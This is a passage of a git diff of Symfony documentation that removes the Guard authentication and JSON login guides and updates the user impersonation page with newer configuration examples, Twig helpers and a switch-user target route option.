charset="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - <firewall name="main"> - <!-- ... --> - <guard> - <authenticator class="App\Security\LoginFormAuthenticator"/> - </guard> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Security\LoginFormAuthenticator; - - $container->loadFromExtension('security', [ - // ... - 'firewalls' => [ - 'main' => [ - // ..., - 'guard' => [ - 'authenticators' => [ - LoginFormAuthenticator::class, - ] - ], - ], - ], - ]); - -Finishing the Login Form ------------------------- - -Woh. The ``make:auth`` command just did a *lot* of work for you. But, you're not done -yet. First, go to ``/login`` to see the new login form. Feel free to customize this -however you want. - -When you submit the form, the ``LoginFormAuthenticator`` will intercept the request, -read the email (or whatever field you're using) & password from the form, find the -``User`` object, validate the CSRF token and check the password. - -But, depending on your setup, you'll need to finish one or more TODOs before the -whole process works. You will *at least* need to fill in *where* you want your user to -be redirected after success: - -.. code-block:: diff - - // src/Security/LoginFormAuthenticator.php - - // ... - public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey) - { - // ... - - - throw new \Exception('TODO: provide a valid redirect inside '.__FILE__); - + // redirect to some "app_homepage" route - of wherever you want - + return new RedirectResponse($this->urlGenerator->generate('app_homepage')); - } - -Unless you have any other TODOs in that file, that's it! If you're loading users -from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`. -Then, try to login. - -If you're successful, the web debug toolbar will tell you who you are and what roles -you have: - -.. image:: /_images/security/symfony_loggedin_wdt.png - :align: center - -The Guard authentication system is powerful, and you can customize your authenticator -class to do whatever you need. To learn more about what the individual methods do, -see :doc:`/security/guard_authentication`. - -Controlling Error Messages --------------------------- - -You can cause authentication to fail with a custom message at any step by throwing -a custom :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`. -But in some cases, like if you return ``false`` from ``checkCredentials()``, you -may see an error that comes from the core of Symfony - like ``Invalid credentials.``. - -To customize this message, you could throw a ``CustomUserMessageAuthenticationException`` -instead. Or, you can :doc:`translate </translation>` the message through the ``security`` -domain: - -.. configuration-block:: - - .. code-block:: xml - - <!-- translations/security.en.xlf --> - <?xml version="1.0"?> - <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> - <file source-language="en" datatype="plaintext" original="file.ext"> - <body> - <trans-unit id="Invalid credentials."> - <source>Invalid credentials.</source> - <target>The password you entered was invalid!</target> - </trans-unit> - </body> - </file> - </xliff> - - .. code-block:: yaml - - # translations/security.en.yaml - 'Invalid credentials.': 'The password you entered was invalid!' - - .. code-block:: php - - // translations/security.en.php - return [ - 'Invalid credentials.' => 'The password you entered was invalid!', - ]; - -If the message isn't translated, make sure you've installed the ``translator`` -and try clearing your cache: - -.. code-block:: terminal - - $ php bin/console cache:clear - -Redirecting to the Last Accessed Page with ``TargetPathTrait`` --------------------------------------------------------------- - -The last request URI is stored in a session variable named -``_security.<your providerKey>.target_path`` (e.g. ``_security.main.target_path`` -if the name of your firewall is ``main``). Most of the times you don't have to -deal with this low level session variable. However, the -:class:`Symfony\\Component\\Security\\Http\\Util\\TargetPathTrait` utility -can be used to read (like in the example above) or set this value manually. - -When the user tries to access a restricted page, they are being redirected to -the login page. At that point target path will be set. After a successful login, -the user will be redirected to this previously set target path. - -If you also want to apply this behavior to public pages, you can create an -:doc:`event subscriber </event_dispatcher>` to set the target path manually -whenever the user browses a page:: - - namespace App\EventSubscriber; - - use Symfony\Component\EventDispatcher\EventSubscriberInterface; - use Symfony\Component\HttpFoundation\Session\SessionInterface; - use Symfony\Component\HttpKernel\Event\RequestEvent; - use Symfony\Component\HttpKernel\KernelEvents; - use Symfony\Component\Security\Http\Util\TargetPathTrait; - - class RequestSubscriber implements EventSubscriberInterface - { - use TargetPathTrait; - - private $session; - - public function __construct(SessionInterface $session) - { - $this->session = $session; - } - - public function onKernelRequest(RequestEvent $event): void - { - $request = $event->getRequest(); - if ( - !$event->isMasterRequest() - || $request->isXmlHttpRequest() - || 'app_login' === $request->attributes->get('_route') - ) { - return; - } - - $this->saveTargetPath($this->session, 'main', $request->getUri()); - } - - public static function getSubscribedEvents() - { - return [ - KernelEvents::REQUEST => ['onKernelRequest'] - ]; - } - } - -.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst deleted file mode 100644 index 4fbee09aa07..00000000000 --- a/security/guard_authentication.rst +++ /dev/null @@ -1,577 +0,0 @@ -.. index:: - single: Security; Custom Authentication - -Custom Authentication System with Guard (API Token Example) -=========================================================== - -Guard authentication can be used to: - -* :doc:`Build a Login Form </security/form_login_setup>` -* Create an API token authentication system (see below) -* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution) -* Integrate with some proprietary single-sign-on system - -and many more. In this example, we'll build an API token authentication -system, so we can learn more about Guard in detail. - -.. tip:: - - A :doc:`new experimental authenticator-based system </security/experimental_authenticators>` - was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0. - -Step 1) Prepare your User Class -------------------------------- - -Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header -on each request with their API token. Your job is to read this and find the associated -user (if any). - -First, make sure you've followed the main :doc:`Security Guide </security>` to -create your ``User`` class. Then add an ``apiToken`` property directly to -your ``User`` class (the ``make:entity`` command is a good way to do this): - -.. code-block:: diff - - // src/Entity/User.php - // ... - - class User implements UserInterface - { - // ... - - + /** - + * @ORM\Column(type="string", unique=true, nullable=true) - + */ - + private $apiToken; - - // the getter and setter methods - } - -Don't forget to generate and run the migration: - -.. code-block:: terminal - - $ php bin/console make:migration - $ php bin/console doctrine:migrations:migrate - -Next, configure your "user provider" to use this new ``apiToken`` property: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - providers: - your_db_provider: - entity: - class: App\Entity\User - property: apiToken - - # ... - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <config> - <!-- ... --> - - <provider name="your_db_provider"> - <entity class="App\Entity\User" property="apiToken"/> - </provider> - - <!-- ... --> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'providers' => [ - 'your_db_provider' => [ - 'entity' => [ - 'class' => 'App\Entity\User', - 'property' => 'apiToken', - ], - ], - ], - - // ... - ]); - -Step 2) Create the Authenticator Class --------------------------------------- - -To create a custom authentication system, create a class and make it implement -:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend -the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`. - -This requires you to implement several methods:: - - // src/Security/TokenAuthenticator.php - namespace App\Security; - - use App\Entity\User; - use Doctrine\ORM\EntityManagerInterface; - use Symfony\Component\HttpFoundation\JsonResponse; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; - use Symfony\Component\Security\Core\Exception\AuthenticationException; - use Symfony\Component\Security\Core\User\UserInterface; - use Symfony\Component\Security\Core\User\UserProviderInterface; - use Symfony\Component\Security\Guard\AbstractGuardAuthenticator; - - class TokenAuthenticator extends AbstractGuardAuthenticator - { - private $em; - - public function __construct(EntityManagerInterface $em) - { - $this->em = $em; - } - - /** - * Called on every request to decide if this authenticator should be - * used for the request. Returning `false` will cause this authenticator - * to be skipped. - */ - public function supports(Request $request) - { - return $request->headers->has('X-AUTH-TOKEN'); - } - - /** - * Called on every request. Return whatever credentials you want to - * be passed to getUser() as $credentials. - */ - public function getCredentials(Request $request) - { - return $request->headers->get('X-AUTH-TOKEN'); - } - - public function getUser($credentials, UserProviderInterface $userProvider) - { - if (null === $credentials) { - // The token header was empty, authentication fails with HTTP Status - // Code 401 "Unauthorized" - return null; - } - - // The "username" in this case is the apiToken, see the key `property` - // of `your_db_provider` in `security.yaml`. - // If this returns a user, checkCredentials() is called next: - return $userProvider->loadUserByUsername($credentials); - } - - public function checkCredentials($credentials, UserInterface $user) - { - // Check credentials - e.g. make sure the password is valid. - // In case of an API token, no credential check is needed. - - // Return `true` to cause authentication success - return true; - } - - public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey) - { - // on success, let the request continue - return null; - } - - public function onAuthenticationFailure(Request $request, AuthenticationException $exception) - { - $data = [ - // you may want to customize or obfuscate the message first - 'message' => strtr($exception->getMessageKey(), $exception->getMessageData()) - - // or to translate this message - // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData()) - ]; - - return new JsonResponse($data, Response::HTTP_UNAUTHORIZED); - } - - /** - * Called when authentication is needed, but it's not sent - */ - public function start(Request $request, AuthenticationException $authException = null) - { - $data = [ - // you might translate this message - 'message' => 'Authentication Required' - ]; - - return new JsonResponse($data, Response::HTTP_UNAUTHORIZED); - } - - public function supportsRememberMe() - { - return false; - } - } - -Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`. - -Step 3) Configure the Authenticator ------------------------------------ - -To finish this, make sure your authenticator is registered as a service. If you're -using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -that happens automatically. - -Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - # ... - - main: - anonymous: true - lazy: true - logout: ~ - - guard: - authenticators: - - App\Security\TokenAuthenticator - - # if you want, disable storing the user in the session - # stateless: true - - # ... - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - <config> - <!-- ... --> - - <!-- if you want, disable storing the user in the session - add 'stateless="true"' to the firewall --> - <firewall name="main" pattern="^/" anonymous="true" lazy="true"> - <logout/> - - <guard> - <authenticator>App\Security\TokenAuthenticator</authenticator> - </guard> - - <!-- ... --> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - - // ... - use App\Security\TokenAuthenticator; - - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'pattern' => '^/', - 'anonymous' => true, - 'lazy' => true, - 'logout' => true, - 'guard' => [ - 'authenticators' => [ - TokenAuthenticator::class, - ], - ], - // if you want, disable storing the user in the session - // 'stateless' => true, - // ... - ], - ], - ]); - -You did it! You now have a fully-working API token authentication system. If your -homepage required ``ROLE_USER``, then you could test it under different conditions: - -.. code-block:: terminal - - # test with no token - curl http://localhost:8000/ - # {"message":"Authentication Required"} - - # test with a bad token - curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/ - # {"message":"Username could not be found."} - - # test with a working token - curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/ - # the homepage controller is executed: the page loads normally - -Now, learn more about what each method does. - -.. _guard-auth-methods: - -The Guard Authenticator Methods -------------------------------- - -Each authenticator needs the following methods: - -**supports(Request $request)** - This is called on *every* request and your job is to decide if the - authenticator should be used for this request (return ``true``) or if it - should be skipped (return ``false``). - -**getCredentials(Request $request)** - Your job is to read the token (or whatever your "authentication" information is) - from the request and return it. These credentials are passed to ``getUser()``. - -**getUser($credentials, UserProviderInterface $userProvider)** - The ``$credentials`` argument is the value returned by ``getCredentials()``. - Your job is to return an object that implements ``UserInterface``. If you do, - then ``checkCredentials()`` will be called. If you return ``null`` (or throw - an :ref:`AuthenticationException <guard-customize-error>`) authentication - will fail. - -**checkCredentials($credentials, UserInterface $user)** - If ``getUser()`` returns a User object, this method is called. Your job is to - verify if the credentials are correct. For a login form, this is where you would - check that the password is correct for the user. To pass authentication, return - ``true``. If you return ``false`` - (or throw an :ref:`AuthenticationException <guard-customize-error>`), - authentication will fail. - -**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)** - This is called after successful authentication and your job is to either - return a :class:`Symfony\\Component\\HttpFoundation\\Response` object - that will be sent to the client or ``null`` to continue the request - (e.g. allow the route/controller to be called like normal). Since this - is an API where each request authenticates itself, you want to return - ``null``. - -**onAuthenticationFailure(Request $request, AuthenticationException $exception)** - This is called if authentication fails. Your job - is to return the :class:`Symfony\\Component\\HttpFoundation\\Response` - object that should be sent to the client. The ``$exception`` will tell you - *what* went wrong during authentication. - -**start(Request $request, AuthenticationException $authException = null)** - This is called if the client accesses a URI/resource that requires authentication, - but no authentication details were sent. Your job is to return a - :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps - the user authenticate (e.g. a 401 response that says "token is missing!"). - -**supportsRememberMe()** - If you want to support "remember me" functionality, return ``true`` from this method. - You will still need to activate ``remember_me`` under your firewall for it to work. - Since this is a stateless API, you do not want to support "remember me" - functionality in this example. - -**createAuthenticatedToken(UserInterface $user, string $providerKey)** - If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface` - instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator` - class, you have to implement this method. It will be called - after a successful authentication to create and return the token (a - class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`) - for the user, who was supplied as the first argument. - -The picture below shows how Symfony calls Guard Authenticator methods: - -.. raw:: html - - <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object> - -.. _guard-customize-error: - -Customizing Error Messages --------------------------- - -When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException`` -that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and -``$exception->getMessageData()``) method. The message will be different based on *where* -authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``). - -But, you can also return a custom message by throwing a -:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`. -You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()`` -to cause a failure:: - - // src/Security/TokenAuthenticator.php - // ... - - use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException; - - class TokenAuthenticator extends AbstractGuardAuthenticator - { - // ... - - public function getCredentials(Request $request) - { - // ... - - if ($token == 'ILuvAPIs') { - throw new CustomUserMessageAuthenticationException( - 'ILuvAPIs is not a real API key: it\'s just a silly phrase' - ); - } - - // ... - } - - // ... - } - -In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter -egg to return a custom message if someone tries this: - -.. code-block:: terminal - - curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/ - # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"} - -.. _guard-manual-auth: - -Manually Authenticating a User ------------------------------- - -Sometimes you might want to manually authenticate a user - like after the user -completes registration. To do that, use your authenticator and a service called -``GuardAuthenticatorHandler``:: - - // src/Controller/RegistrationController.php - // ... - - use App\Security\LoginFormAuthenticator; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Security\Guard\GuardAuthenticatorHandler; - - class RegistrationController extends AbstractController - { - public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request) - { - // ... - - // after validating the user and saving them to the database - // authenticate the user and use onAuthenticationSuccess on the authenticator - return $guardHandler->authenticateUserAndHandleSuccess( - $user, // the User object you just created - $request, - $authenticator, // authenticator whose onAuthenticationSuccess you want to use - 'main' // the name of your firewall in security.yaml - ); - } - } - -Avoid Authenticating the Browser on Every Request -------------------------------------------------- - -If you create a Guard login system that's used by a browser and you're experiencing -problems with your session or CSRF tokens, the cause could be bad behavior by your -authenticator. When a Guard authenticator is meant to be used by a browser, you -should *not* authenticate the user on *every* request. In other words, you need to -make sure the ``supports()`` method *only* returns ``true`` when -you actually *need* to authenticate the user. Why? Because, when ``supports()`` -returns true (and authentication is ultimately successful), for security purposes, -the user's session is "migrated" to a new session id. - -This is an edge-case, and unless you're having session or CSRF token issues, you -can ignore this. Here is an example of good and bad behavior:: - - public function supports(Request $request) - { - // GOOD behavior: only authenticate (i.e. return true) on a specific route - return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST'); - - // e.g. your login system authenticates by the user's IP address - // BAD behavior: So, you decide to *always* return true so that - // you can check the user's IP address on every request - return true; - } - -The problem occurs when your browser-based authenticator tries to authenticate -the user on *every* request - like in the IP address-based example above. There -are two possible fixes: - -1. If you do *not* need authentication to be stored in the session, set - ``stateless: true`` under your firewall. -2. Update your authenticator to avoid authentication if the user is already - authenticated: - -.. code-block:: diff - - // src/Security/MyIpAuthenticator.php - // ... - - + use Symfony\Component\Security\Core\Security; - - class MyIpAuthenticator - { - + private $security; - - + public function __construct(Security $security) - + { - + $this->security = $security; - + } - - public function supports(Request $request) - { - + // if there is already an authenticated user (likely due to the session) - + // then return false and skip authentication: there is no need. - + if ($this->security->getUser()) { - + return false; - + } - - + // the user is not logged in, so the authenticator should continue - + return true; - } - } - -If you use autowiring, the ``Security`` service will automatically be passed to -your authenticator. - -Frequently Asked Questions --------------------------- - -**Can I have Multiple Authenticators?** - Yes! But when you do, you'll need to choose only *one* authenticator to be your - "entry_point". This means you'll need to choose *which* authenticator's ``start()`` - method should be called when an anonymous user tries to access a protected resource. - For more details, see :doc:`/security/multiple_guard_authenticators`. - -**Can I use this with form_login?** - Yes! ``form_login`` is *one* way to authenticate a user, so you could use - it *and* then add one or more authenticators. Using a guard authenticator doesn't - collide with other ways to authenticate. - -**Can I use this with FOSUserBundle?** - Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a - ``User`` object and some routes and controllers to help with login, registration, - forgot password, etc. When you use FOSUserBundle, you typically use ``form_login`` - to actually authenticate the user. You can continue doing that (see previous - question) or use the ``User`` object from FOSUserBundle and create your own - authenticator(s) (like in this article). - -.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard -.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst index 93a802945f7..6f22e7aace6 100644 --- a/security/impersonating_user.rst +++ b/security/impersonating_user.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; Impersonating User - How to Impersonate a User ========================= @@ -8,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without having to log out and log in again (for instance when you are debugging something a user sees that you can't reproduce). -.. caution:: +.. warning:: User impersonation is not compatible with some authentication mechanisms (e.g. ``REMOTE_USER``) where the authentication information is expected to be @@ -33,7 +30,7 @@ listener: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -55,16 +52,15 @@ listener: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - // ... + use Symfony\Config\SecurityConfig; - 'firewalls' => [ - 'main'=> [ - // ... - 'switch_user' => true, - ], - ], - ]); + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->switchUser() + ; + }; To switch to another user, add a query string with the ``_switch_user`` parameter and the username (or whatever field our user provider uses to load users) @@ -74,10 +70,61 @@ as the value to the current URL: http://example.com/somewhere?_switch_user=thomas +.. tip:: + + You can leverage the Twig function ``impersonation_path('thomas')`` + .. tip:: Instead of adding a ``_switch_user`` query string parameter, you can pass - the username in a ``HTTP_X_SWITCH_USER`` header. + the username in a custom HTTP header by adjusting the ``parameter`` setting. + For example, to use ``X-Switch-User`` header (available in PHP as + ``HTTP_X_SWITCH_USER``) add this configuration: + + .. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + firewalls: + main: + # ... + switch_user: { parameter: X-Switch-User } + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + <config> + <!-- ... --> + <firewall name="main"> + <!-- ... --> + <switch-user parameter="X-Switch-User"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->switchUser() + ->parameter('X-Switch-User') + ; + }; To switch back to the original user, use the special ``_exit`` username: @@ -85,6 +132,10 @@ To switch back to the original user, use the special ``_exit`` username: http://example.com/somewhere?_switch_user=_exit +.. tip:: + + You can leverage the Twig function ``impersonation_exit_path('/somewhere')`` + This feature is only available to users with a special role called ``ROLE_ALLOWED_TO_SWITCH``. Using :ref:`role_hierarchy <security-role-hierarchy>` is a great way to give this role to the users that need it. @@ -99,14 +150,9 @@ instance, to show a link to exit impersonation in a template: .. code-block:: html+twig {% if is_granted('IS_IMPERSONATOR') %} - <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a> + <a href="{{ impersonation_exit_path(path('homepage')) }}">Exit impersonation</a> {% endif %} -.. versionadded:: 5.1 - - The ``IS_IMPERSONATOR`` was introduced in Symfony 5.1. Use - ``ROLE_PREVIOUS_ADMIN`` prior to Symfony 5.1. - Finding the Original User ------------------------- @@ -116,20 +162,21 @@ stored in the token storage will be a ``SwitchUserToken`` instance. Use the following snippet to obtain the original token which gives you access to the impersonator user:: + // src/Service/SomeService.php + namespace App\Service; + + use Symfony\Bundle\SecurityBundle\Security; use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken; - use Symfony\Component\Security\Core\Security; // ... class SomeService { - private $security; - - public function __construct(Security $security) - { - $this->security = $security; + public function __construct( + private Security $security, + ) { } - public function someMethod() + public function someMethod(): void { // ... @@ -167,7 +214,7 @@ also adjust the query parameter name via the ``parameter`` setting: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -188,19 +235,74 @@ also adjust the query parameter name via the ``parameter`` setting: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... + $security->firewall('main') + // ... + ->switchUser() + ->role('ROLE_ADMIN') + ->parameter('_want_to_be_this_user') + ; + }; - 'firewalls' => [ - 'main'=> [ - // ... - 'switch_user' => [ - 'role' => 'ROLE_ADMIN', - 'parameter' => '_want_to_be_this_user', - ], - ], - ], - ]); +Redirecting to a Specific Target Route +-------------------------------------- + +.. note:: + + It works only in a stateful firewall. + +This feature allows you to control the redirection target route via ``target_route``. + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + switch_user: { target_route: app_user_dashboard } + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + <switch-user target-route="app_user_dashboard"/> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->switchUser() + ->targetRoute('app_user_dashboard') + ; + }; Limiting User Switching ----------------------- @@ -226,7 +328,7 @@ be called): .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -247,45 +349,43 @@ be called): .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - // ... + use Symfony\Config\SecurityConfig; - 'firewalls' => [ - 'main'=> [ - // ... - 'switch_user' => [ - 'role' => 'CAN_SWITCH_USER', - ], - ], - ], - ]); + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->switchUser() + ->role('CAN_SWITCH_USER') + ; + }; Then, create a voter class that responds to this role and includes whatever custom logic you want:: + // src/Security/Voter/SwitchToCustomerVoter.php namespace App\Security\Voter; + use Symfony\Bundle\SecurityBundle\Security; use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface; use Symfony\Component\Security\Core\Authorization\Voter\Voter; - use Symfony\Component\Security\Core\Security; use Symfony\Component\Security\Core\User\UserInterface; class SwitchToCustomerVoter extends Voter { - private $security; - - public function __construct(Security $security) - { - $this->security = $security; + public function __construct( + private AccessDecisionManagerInterface $accessDecisionManager, + ) { } - protected function supports($attribute, $subject) + protected function supports($attribute, $subject): bool { return in_array($attribute, ['CAN_SWITCH_USER']) && $subject instanceof UserInterface; } - protected function voteOnAttribute($attribute, $subject, TokenInterface $token) + protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool { $user = $token->getUser(); // if the user is anonymous or if the subject is not a user, do not grant access @@ -294,12 +394,12 @@ logic you want:: } // you can still check for ROLE_ALLOWED_TO_SWITCH - if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) { + if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) { return true; } // check for any roles you want - if ($this->security->isGranted('ROLE_TECH_SUPPORT')) { + if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) { return true; } @@ -320,13 +420,17 @@ not this is allowed. If your voter isn't called, see :ref:`declaring-the-voter-a Events ------ -The firewall dispatches the ``security.switch_user`` event right after the impersonation -is completed. The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is -passed to the listener, and you can use this to get the user that you are now impersonating. +the ``security.switch_user`` event is dispatched just before the impersonation +is fully completed. Your :doc:`listener or subscriber </event_dispatcher>` will +receive a :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`, +which you can use to get the user that you are now impersonating. + +This event is also dispatched just before impersonation is fully exited. You can +use it to get the original impersonator user. -The :doc:`/session/locale_sticky_session` article does not update the locale -when you impersonate a user. If you *do* want to be sure to update the locale when -you switch users, add an event subscriber on this event:: +The :ref:`locale-sticky-session` section does not update the locale when you +impersonate a user. If you *do* want to be sure to update the locale when you +switch users, add an event subscriber on this event:: // src/EventListener/SwitchUserSubscriber.php namespace App\EventListener; @@ -337,7 +441,7 @@ you switch users, add an event subscriber on this event:: class SwitchUserSubscriber implements EventSubscriberInterface { - public function onSwitchUser(SwitchUserEvent $event) + public function onSwitchUser(SwitchUserEvent $event): void { $request = $event->getRequest(); @@ -350,7 +454,7 @@ you switch users, add an event subscriber on this event:: } } - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return [ // constant for security.switch_user diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst deleted file mode 100644 index a4cbc5880b2..00000000000 --- a/security/json_login_setup.rst +++ /dev/null @@ -1,212 +0,0 @@ -How to Build a JSON Authentication Endpoint -=========================================== - -In this entry, you'll build a JSON endpoint to log in your users. When the -user logs in, you can load your users from anywhere - like the database. -See :ref:`security-user-providers` for details. - -First, enable the JSON login under your firewall: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - firewalls: - main: - anonymous: true - lazy: true - json_login: - check_path: /login - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:srv="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <firewall name="main" anonymous="true" lazy="true"> - <json-login check-path="/login"/> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'main' => [ - 'anonymous' => true, - 'lazy' => true, - 'json_login' => [ - 'check_path' => '/login', - ], - ], - ], - ]); - -.. tip:: - - The ``check_path`` can also be a route name (but cannot have mandatory - wildcards - e.g. ``/login/{foo}`` where ``foo`` has no default value). - -The next step is to configure a route in your app matching this path: - -.. configuration-block:: - - .. code-block:: php-annotations - - // src/Controller/SecurityController.php - - // ... - 